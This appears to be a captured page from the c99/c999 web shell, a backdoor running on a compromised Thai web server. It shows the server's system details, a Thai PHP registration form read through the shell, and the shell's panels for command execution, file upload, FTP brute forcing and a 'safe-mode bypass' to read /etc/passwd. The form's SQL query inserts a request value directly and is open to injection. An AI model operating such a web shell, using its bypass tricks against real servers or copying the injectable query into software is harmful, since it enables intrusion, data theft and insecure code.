!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddProjectedu_02.php (15.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include("./include/FunctionDB.php");
include(
"./include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
$sql "SELECT * FROM  edu_project_tb  Where Project_code='$Project_code' ";
$result mysql_query($sql);
$rs mysql_fetch_array($result);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">

<table width="842" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="842"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php" >หน้าหลัก</a> <img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="ShowProjectedu.php">โครงการประชุมวิชาการ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">ข้อมูลบุคลากรทางการบริหาร</a></font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="InsertProjectedu.php">
                <table width="84%" height="586" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF" style="border:0px solid gray">
                  
                  <tr bgcolor="#CCCCCC" >
                    <td height="29" colspan="3" bgcolor="#eeeeee"><div align="center" class="style2"><font size="3" face="Tahoma">แบบฟอร์มสมัครเข้าร่วมโครงการ/กิจกรรม </font></div></td>
                  </tr>
                  <tr bgcolor="#CCCCCC">
                    <td height="28" bgcolor="#FFFFFF"><div align="center" class="style1">
                      <div align="left"><font size="2" face="Tahoma">เลือกโครงการ</font></div>
                    </div></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><div align="left"><font color="#006633" size="2" face="Tahoma"> </font>
                            <p>
                              <label><font color="#003366" size="2" face="Tahoma"> </font></label>
                              <font color="#996600" size="2" face="Tahoma">
                              <?php
         
//$Project_code =  $rss["Project_code"];
         
$sql "Select * From edu_project_tb Where Project_code='$Project_code'";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss mysql_fetch_array($result1);
          echo 
"$rss[Project_name] ";
         
?>
                              </font></strong>
                              <label> </label>
                            </p>
                    </div></td>
                  </tr>
                  <tr bgcolor="#CCCCCC">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma"> วันที่สมัคร</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">วันที่
                      <select name="mDate1" id="mDate1" class="select" onkeypress="return handleEnter(this, event)" >
                            <? getDay1to31();?>
                    </select>
                      เดือน
                      <select name="mMonth1" id="mMonth1" class="select" onkeypress="return handleEnter(this, event)">
                        <? getThaiMonth();?>
                      </select>
                      ปี พ.ศ.                    </font> <input name="mYear1" type="text" id="mYear1" size="4" maxlength="4" /></td>
                  </tr>
                  <tr bordercolor="#CCCCCC" bgcolor="#CCCCCC">
                    <td height="23" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#000066" size="2" face="Tahoma">คำนำหน้า</font></td>
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF"><div align="center"></div></td>
                    <td nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                      <input type="radio" name="First_name" value="นาย" onkeypress="return handleEnter(this, event)">
                      นาย
                      <input type="radio" name="First_name" value="นางสาว" onkeypress="return handleEnter(this, event)">
                      นางสาว
                      <input type="radio" name="First_name" value="นาง" onkeypress="return handleEnter(this, event)" />
                      นาง </font></td>
                  </tr>
                  <tr bgcolor="#CCCCCC">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma">ชื่อ </font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                      <input name="Name" type="text" class="input" id="Name" onkeypress="return handleEnter(this,event)" size="15" maxlength="20" />
                    </font><font size="2" face="Tahoma">นามสกุล </font> <font size="2" face="Tahoma">
                        <input name="Last_name" type="text" class="input" id="Last_name" onkeypress="return handleEnter(this,event)" size="20" maxlength="20" />
                        </font><font size="2" face="MS Sans Serif, Tahoma, sans-serif">&nbsp; </font> <font color="#006633" size="2" face="Tahoma">&nbsp; </font>
                        <label> </label></td>
                  </tr>
                  <tr bgcolor="#CCCCCC">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma">ตำแหน่งทางราชการ</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                      <input name="Work" type="text" id="Work" size="25" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#CCCCCC">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma">สถานที่ปฏิบัติงาน</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                      <input name="Addwork" type="text" id="Addwork" size="30" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#CCCCCC">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma">รายการจองห้องพัก</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                      <input name="Room" type="radio" value="ห้องพักเดี่ยว" />
                      </font><font size="2" face="Tahoma">ห้องพักเดี่ยว
                        <input name="Room" type="radio" value="ห้องพักคู่" />
                        ห้องพักคู่</font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="19" colspan="3" bgcolor="#eeeeee"><div align="center"><font size="2" face="Tahoma">รายละเอียดประวัติของผู้สมัคร</font> </div></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="20" bgcolor="#FFFFFF"><font size="2" face="Tahoma">จบหลักสูตร</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><select name="Program" class="d" id="Program">
                        <option>เลือกหลักสูตร</option>
                        <option value="สาธารณสุขชุมชน">สาธารณสุขชุมชน</option>
                        <option value="ทันตสาธารณสุข">ทันตสาธารณสุข</option>
                        <option value="เทคนิคเภสัช">เทคนิคเภสัช</option>
                        <option value="สาธารณสุขศาสตร">สาธารณสุขศาสตรบันฑิต</option>
                        <option value="อื่นๆ">อื่นๆ</option>
                      </select>
                        <font size="2" face="Tahoma"> รุ่น </font><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                        <input name="Code" type="text" id="Code" size="2" maxlength="2" />
                      </font> </td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma"> วันเดือนปีเกิด</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">วันที่
                      <select name="mDate" id="mDate" class="select" onkeypress="return handleEnter(this, event)" >
                            <? getDay1to31();?>
                    </select>
                      เดือน
                      <select name="mMonth" id="mMonth" class="select" onkeypress="return handleEnter(this, event)">
                        <? getThaiMonth();?>
                      </select>
                      ปี พ.ศ.
                      <input name="mYear" type="text" id="mYear" size="4" maxlength="4">
                    </font> </td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="20" bgcolor="#FFFFFF"><font size="2" face="Tahoma">อายุ</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                      <input name="Age" type="text" id="Age" size="2" maxlength="2" />
                      ปี เพศ
                      <input name="Sex" type="radio" value="ชาย" checked="checked" />
                      ชาย &nbsp;
                      <input name="Sex" type="radio" value="หญิง" />
                      หญิง </font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="20" bgcolor="#FFFFFF"><font size="2" face="Tahoma">ที่อยู่</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><input name="Address" type="text" id="Address" size="35" /></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td width="18%" height="20" bgcolor="#FFFFFF"><font size="2" face="Tahoma">อำเภอ</font></td>
                    <td width="1%" bgcolor="#FFFFFF"><div align="center"><font color="#FF0000" size="4" face="Tahoma"></font></div></td>
                    <td width="81%" bgcolor="#FFFFFF"><div align="left"><font color="#006633" size="2" face="Tahoma"> </font><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                        <input name="Amper" type="text" id="Amper" size="25" />
                    </font><font color="#006633" size="2" face="Tahoma"> </font></div></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td height="24" bgcolor="#FFFFFF"><font size="2" face="Tahoma">จังหวัด</font></td>
                    <td bgcolor="#FFFFFF"><div align="center"><font color="#FF0000" size="4" face="Tahoma"></font></div></td>
                    <td bgcolor="#FFFFFF"><strong><font color="#003366" size="2" face="Tahoma"> </font><font size="2" face="Tahoma"><strong><font color="#003366" size="2" face="Tahoma">
                      <select name="ProvinceId" id="select5" class="input1">
                        <?php
           $sql2 
"SELECT * FROM  province  Order By  ProvinceId ";
           
$result2mysql_query($sql2);
                 while( 
$rss mysql_fetch_array($result2))     
                     {
                 echo
"<option value=\"$rss[ProvinceId]\" ><b>$rss[ProvinceName]</b></option>\n";
                }
                            
          
?>
                    </select>
                    </font></strong></font></strong></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma">รหัสไปรษนีย์</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><input name="Zipcode" type="text" id="Zipcode" size="5" maxlength="5" />
                        <font size="2" face="Tahoma"> E-mail </font> <font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                        <input name="Email" type="text" id="Email" size="30" />
                      </font> </td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma">เบอร์โทรศัพท์</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><input name="Phone" type="text" id="Phone" size="10" maxlength="10" /></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma">ประวัติการศึกษา</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                      <select name="Education" id="Education"  >
                        <option value="" selected="selected">เลือกระดับการศึกษา</option>
                        <option value="ปริญญาตรี">ปริญญาตรี</option>
                        <option value="ปริญญาโท">ปริญญาโท</option>
                        <option value="สูงกว่าปริญญาโท">สูงกว่าปริญญาโท</option>
                      </select>
                      </font><font size="2" face="Tahoma"> สาขา </font><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                      <input name="Education_1" type="text" id="Education_1" size="40" maxlength="30" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma">จบจากสถานศึกษา</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font size="2" face="MS Sans Serif, Tahoma, sans-serif">
                      <input name="Education_2" type="text" id="Education_2" size="40" maxlength="30" />
                    </font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#FFFFFF"><font size="2" face="Tahoma">เลขที่เอกสารการจ่ายเงิน</font></td>
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font size="2" face="MS Sans Serif, Tahoma, sans-serif"> </font><span class="style4"><font size="2" face="Tahoma"></font><font size="2" face="MS Sans Serif">
                      <input name="Account" type="text" class="d" id="Account" size="40" maxlength="30" />
                      <font size="2" face="Tahoma">**เลขที่ธนานัติหรือใบโอนเงินธนาคาร</font><font size="2" face="MS Sans Serif, Tahoma, sans-serif"></font> </font></span></td>
                  </tr>
                  <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
                    <td height="54" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma">โหลดภาพ</font></td>
                    <td bordercolor="#CCCCCC" bgcolor="#FFFFFF">&nbsp;</td>
                    <td nowrap="nowrap" bordercolor="#99CCFF" bgcolor="#FFFFFF"><table width="82%" border="0" cellspacing="0" cellpadding="0">
                        <tr>
                          <td width="80%" height="34"><div align="center">
                              <div align="left"> </div>
                            <label>
                              <input name="Img1" type="file" id="Img1" onchange="browse()" />
                            </label>
                          </div></td>
                          <td width="20%">&nbsp;</td>
                        </tr>
                    </table></td>
                  </tr>
                  <tr bgcolor="#CCCCFF" >
                    <td height="25" colspan="3" bgcolor="#FFFFFF"><div align="center">
                        <input name="Project_code" type="hidden" id="Project_code" value="<? echo $rss[Project_code]?>" />
                        <input type="submit" name="Submit" value=" บันทึก " class="button" />
                      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                      <input type="reset" name="Submit2" value="เริ่มใหม่" class="button" />
                    </div></td>
                  </tr>
                </table>
              </form>
              </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0184 ]--